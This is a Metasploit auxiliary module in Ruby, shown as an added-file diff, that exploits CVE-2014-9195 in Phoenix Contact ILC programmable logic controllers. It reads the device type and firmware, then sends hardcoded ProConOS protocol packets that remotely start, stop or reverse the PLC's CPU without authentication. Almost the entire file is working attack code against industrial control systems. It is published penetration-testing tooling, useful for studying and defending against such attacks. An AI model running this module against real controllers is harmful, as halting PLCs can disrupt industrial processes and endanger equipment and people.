|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class MetasploitModule < Msf::Auxiliary |
| 9 | + |
| 10 | + include Msf::Exploit::Remote::Tcp |
| 11 | + include Rex::Socket::Tcp |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super(update_info(info, |
| 15 | + 'Name' => 'PhoenixContact PLC Remote START/STOP Command', |
| 16 | + 'Version' => '1', |
| 17 | + 'Description' => %q{ |
| 18 | + PhoenixContact Programmable Logic Controllers are built upon a variant of |
| 19 | + ProConOS. Communicating using a proprietary protocol over ports TCP/1962 |
| 20 | + and TCP/41100 or TCP/20547. |
| 21 | + It allows a remote user to read out the PLC Type, Firmware and |
| 22 | + Build number on port TCP/1962. |
| 23 | + And also to read out the CPU State (Running or Stopped) AND start |
| 24 | + or stop the CPU on port TCP/20547 (confirmed ILC 15x and 17x series) |
| 25 | + or on port TCP/41100 (confirmed ILC 39x series) |
| 26 | + }, |
| 27 | + 'Author' => 'Tijl Deneut <tijl.deneut[at]howest.be>', |
| 28 | + 'License' => MSF_LICENSE, |
| 29 | + 'References' => |
| 30 | + [ |
| 31 | + [ 'URL', 'https://github.com/tijldeneut/ICSSecurityScripts' ], |
| 32 | + [ 'CVE', '2014-9195'] |
| 33 | + ], |
| 34 | + 'DisclosureDate' => 'May 20 2015' |
| 35 | + )) |
| 36 | + register_options( |
| 37 | + [ |
| 38 | + OptEnum.new('ACTION', [true, 'PLC CPU action, REV means reverse current CPU state', 'NOOP', |
| 39 | + [ |
| 40 | + 'STOP', |
| 41 | + 'START', |
| 42 | + 'REV', |
| 43 | + 'NOOP' |
| 44 | + ] |
| 45 | + ]), |
| 46 | + OptPort.new('RINFOPORT', [true, 'Set info port', 1962 ]), |
| 47 | + OptPort.new('RPORT', [false, 'Set action port, will try autodetect when not set' ]) |
| 48 | + ], self.class) |
| 49 | + |
| 50 | + end |
| 51 | + |
| 52 | + # Here comes the code, hang on to your pants |
| 53 | + def bin_to_hex(s) |
| 54 | + s.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join |
| 55 | + end |
| 56 | + |
| 57 | + def hex_to_bin(s) |
| 58 | + s.scan(/../).map { |x| x.hex.chr }.join |
| 59 | + end |
| 60 | + |
| 61 | + def send_recv_once(data) |
| 62 | + buf = '' |
| 63 | + begin |
| 64 | + sock.put(data) |
| 65 | + buf = sock.get_once || '' |
| 66 | + rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e |
| 67 | + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") |
| 68 | + end |
| 69 | + |
| 70 | + bin_to_hex(buf) |
| 71 | + end |
| 72 | + |
| 73 | + def get_info(rhost, rport) |
| 74 | + connect(true, {'RHOST'=>rhost, 'RPORT'=>rport}) |
| 75 | + code = send_recv_once("\x01\x01\x00\x1a\x00^\x00\x00\x00\x00\x00\x03\x00\x0cIBETH01N0_M\x00")[34..35] |
| 76 | + send_recv_once("\x01\x05\x00\x16\x00\x5f\x00\x00\x08\xef\x00" + hex_to_bin(code) + "\x00\x00\x00\x22\x00\x04\x02\x95\x00\x00") |
| 77 | + data = send_recv_once("\x01\x06\x00\x0e\x00\x61\x00\x00\x88\x11\x00" + hex_to_bin(code) + "\x04\x00") |
| 78 | + disconnect |
| 79 | + plctype = hex_to_bin(data[60..99]) |
| 80 | + print_status("PLC Type = " + plctype) |
| 81 | + print_status("Firmware = " + hex_to_bin(data[132..139])) |
| 82 | + print_status("Build = " + hex_to_bin(data[158..174]) + " " + hex_to_bin(data[182..199])) |
| 83 | + print_status('------------------------------------') |
| 84 | + plctype |
| 85 | + end |
| 86 | + |
| 87 | + def init_phase1 |
| 88 | + send_recv_once("\x01\x00\x00\x00\x00\x00/\x00\x00\x00\x00\x00\x00\x00\xcf\xffAde.Remoting.Services.IProConOSControlService2\x00") |
| 89 | + send_recv_once("\x01\x00\x00\x00\x00\x00.\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IProConOSControlService\x00") |
| 90 | + send_recv_once("\x01\x00\x00\x00\x00\x00)\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IDataAccessService\x00") |
| 91 | + send_recv_once("\x01\x00\x00\x00\x00\x00*\x00\x00\x00\x00\x00\x00\x00\xd4\xffAde.Remoting.Services.IDeviceInfoService2\x00") |
| 92 | + send_recv_once("\x01\x00\x00\x00\x00\x00)\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IDeviceInfoService\x00") |
| 93 | + send_recv_once("\x01\x00\x00\x00\x00\x00%\x00\x00\x00\x00\x00\x00\x00\xd9\xffAde.Remoting.Services.IForceService2\x00") |
| 94 | + send_recv_once("\x01\x00\x00\x00\x00\x00$\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IForceService\x00") |
| 95 | + send_recv_once("\x01\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\xce\xffAde.Remoting.Services.ISimpleFileAccessService3\x00") |
| 96 | + send_recv_once("\x01\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.ISimpleFileAccessService2\x00") |
| 97 | + send_recv_once("\x01\x00\x00\x00\x00\x00*\x00\x00\x00\x00\x00\x00\x00\xd4\xffAde.Remoting.Services.IDeviceInfoService2\x00") |
| 98 | + send_recv_once("\x01\x00\x00\x00\x00\x00)\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IDeviceInfoService\x00") |
| 99 | + send_recv_once("\x01\x00\x00\x00\x00\x00*\x00\x00\x00\x00\x00\x00\x00\xd4\xffAde.Remoting.Services.IDataAccessService3\x00") |
| 100 | + send_recv_once("\x01\x00\x00\x00\x00\x00)\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IDataAccessService\x00") |
| 101 | + send_recv_once("\x01\x00\x00\x00\x00\x00*\x00\x00\x00\x00\x00\x00\x00\xd4\xffAde.Remoting.Services.IDataAccessService2\x00") |
| 102 | + send_recv_once("\x01\x00\x00\x00\x00\x00)\x00\x00\x00\x00\x00\x00\x00\xd5\xffAde.Remoting.Services.IBreakpointService\x00") |
| 103 | + send_recv_once("\x01\x00\x00\x00\x00\x00(\x00\x00\x00\x00\x00\x00\x00\xd6\xffAde.Remoting.Services.ICallstackService\x00") |
| 104 | + send_recv_once("\x01\x00\x00\x00\x00\x00%\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IDebugService2\x00") |
| 105 | + send_recv_once("\x01\x00\x00\x00\x00\x00/\x00\x00\x00\x00\x00\x00\x00\xcf\xffAde.Remoting.Services.IProConOSControlService2\x00") |
| 106 | + send_recv_once("\x01\x00\x00\x00\x00\x00.\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IProConOSControlService\x00") |
| 107 | + send_recv_once("\x01\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\xce\xffAde.Remoting.Services.ISimpleFileAccessService3\x00") |
| 108 | + send_recv_once("\x01\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.ISimpleFileAccessService2\x00") |
| 109 | + send_recv_once("\x01\x00\x02\x00\x00\x00\x0e\x00\x03\x00\x03\x00\x00\x00\x00\x00\x05\x00\x00\x00\x12@\x13@\x13\x00\x11@\x12\x00") |
| 110 | + end |
| 111 | + |
| 112 | + def init_phase2 |
| 113 | + send_recv_once("\xcc\x01\x00\r\xc0\x01\x00\x00\xd5\x17") |
| 114 | + send_recv_once("\xcc\x01\x00\x0b@\x02\x00\x00G\xee") |
| 115 | + send_recv_once("\xcc\x01\x00[@\x03\x1c\x00\x01\x00\x00\x00\x1c\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd7\x9a") |
| 116 | + send_recv_once("\xcc\x01\x00[@\x04\x1c\x00\x01\x00\x00\x00\x1c\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xeaC") |
| 117 | + send_recv_once("\xcc\x01\x00\x06@\x05\x00\x006\x1e") |
| 118 | + send_recv_once("\xcc\x01\x00\x07@\x06\x10\x00&u\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc6\x82") |
| 119 | + end |
| 120 | + |
| 121 | + def get_state1(data) |
| 122 | + if data[48..49] == '03' |
| 123 | + state = 'RUN' |
| 124 | + elsif data[48..49] == '07' |
| 125 | + state = 'STOP' |
| 126 | + elsif data[49..49] == '00' |
| 127 | + state = 'ON' |
| 128 | + else |
| 129 | + print_error('CPU State not detected, full result is ' + data) |
| 130 | + return |
| 131 | + end |
| 132 | + state |
| 133 | + end |
| 134 | + |
| 135 | + def get_state2(data) |
| 136 | + if data[16..17] == '04' |
| 137 | + state = 'STOP' |
| 138 | + elsif data[16..17] == '02' |
| 139 | + state = 'RUN' |
| 140 | + else |
| 141 | + print_error('CPU State not detected, full result is ' + data) |
| 142 | + return |
| 143 | + end |
| 144 | + state |
| 145 | + end |
| 146 | + |
| 147 | + def get_cpu(rhost, rport, devicetype) |
| 148 | + connect(true, {'RHOST'=>rhost, 'RPORT'=>rport}) |
| 149 | + state = 'unknown' |
| 150 | + if devicetype == '15x' |
| 151 | + init_phase1 |
| 152 | + ## KeepAlive packet |
| 153 | + send_recv_once("\x01\x00\x02\x00\x00\x00\x1c\x00\x03\x00\x03\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x07\x00\x05\x00\x06\x00\x08\x00\x10\x00\x02\x00\x11\x00\x0e\x00\x0f\x00\r\x00\x16@\x16\x00") |
| 154 | + ## Query packet |
| 155 | + data = send_recv_once("\x01\x00\x02\x00\x00\x00\x08\x00\x03\x00\x03\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x40\x0b\x40") |
| 156 | + state = get_state1(data) |
| 157 | + elsif devicetype == '39x' |
| 158 | + init_phase2 |
| 159 | + data = send_recv_once("\xcc\x01\x00\x0f@\x07\x00\x00\xea\xfa") |
| 160 | + state = get_state2(data) |
| 161 | + end |
| 162 | + disconnect |
| 163 | + print_status('CPU Mode = ' + state) |
| 164 | + state |
| 165 | + end |
| 166 | + |
| 167 | + def set_cpu(rhost, rport, action, state, devicetype) |
| 168 | + connect(true, {'RHOST'=>rhost, 'RPORT'=>rport}) |
| 169 | + if devicetype == '15x' |
| 170 | + init_phase1 ## Several packets (21) |
| 171 | + send_recv_once("\x01\x00\x02\x00\x00\x00\x1c\x00\x03\x00\x03\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x07\x00\x05\x00\x06\x00\x08\x00\x10\x00\x02\x00\x11\x00\x0e\x00\x0f\x00\r\x00\x16@\x16\x00") |
| 172 | + if action == 'START' or (action == 'REV' and state == 'STOP') |
| 173 | + print_status('--> Sending COLD start now') |
| 174 | + send_recv_once("\x01\x00\x02\x00\x00\x00\x02\x00\x01\x00\x06\x00\x00\x00\x00\x00\x01\x00") |
| 175 | + else |
| 176 | + print_status('--> Sending STOP now') |
| 177 | + send_recv_once("\x01\x00\x02\x00\x00\x00\x00\x00\x01\x00\x07\x00\x00\x00\x00\x00") |
| 178 | + end |
| 179 | + elsif devicetype == '39x' |
| 180 | + init_phase2 ## Several packets (6) |
| 181 | + if action == 'START' or (action == 'REV' and state == 'STOP') |
| 182 | + print_status('--> Sending COLD start now') |
| 183 | + send_recv_once("\xcc\x01\x00\x04\x40\x0e\x00\x00\x18\x21") |
| 184 | + else |
| 185 | + print_status('--> Sending STOP now') |
| 186 | + send_recv_once("\xcc\x01\x00\x01\x40\x0e\x00\x00\x4c\x07") |
| 187 | + end |
| 188 | + else |
| 189 | + print_error('Unknown device type') |
| 190 | + return |
| 191 | + end |
| 192 | + sleep(1) ## It takes a second for a PLC to start |
| 193 | + get_cpu(rhost, rport, devicetype) |
| 194 | + disconnect |
| 195 | + end |
| 196 | + |
| 197 | + def run |
| 198 | + rhost = datastore['RHOST'] |
| 199 | + action = datastore['ACTION'] |
| 200 | + ractionport = datastore['RPORT'] |
| 201 | + |
| 202 | + device = get_info(rhost, datastore['RINFOPORT']) |
| 203 | + |
| 204 | + if device.start_with?('ILC 15') or device.start_with?('ILC 17') |
| 205 | + devicetype = '15x' |
| 206 | + print_status('--> Detected 15x/17x series, getting current CPU state:') |
| 207 | + ractionport == 0 ? (rport = 41100) : (rport = ractionport) |
| 208 | + elsif device.start_with?('ILC 39') |
| 209 | + devicetype = '39x' |
| 210 | + print_status('--> Detected 39x series, getting current CPU state:') |
| 211 | + ractionport == 0 ? (rport = 20547) : (rport = ractionport) |
| 212 | + else |
| 213 | + print_error('Only ILC and (some) RFC devices are supported.') |
| 214 | + return |
| 215 | + end |
| 216 | + |
| 217 | + state = get_cpu(rhost, rport, devicetype) |
| 218 | + print_status('------------------------------------') |
| 219 | + |
| 220 | + if action == "NOOP" |
| 221 | + print_status('--> No action specified (' + action + '), stopping here') |
| 222 | + return |
| 223 | + end |
| 224 | + |
| 225 | + set_cpu(rhost, rport, action, state, devicetype) |
| 226 | + end |
| 227 | +end |
| 228 | + |
0 commit comments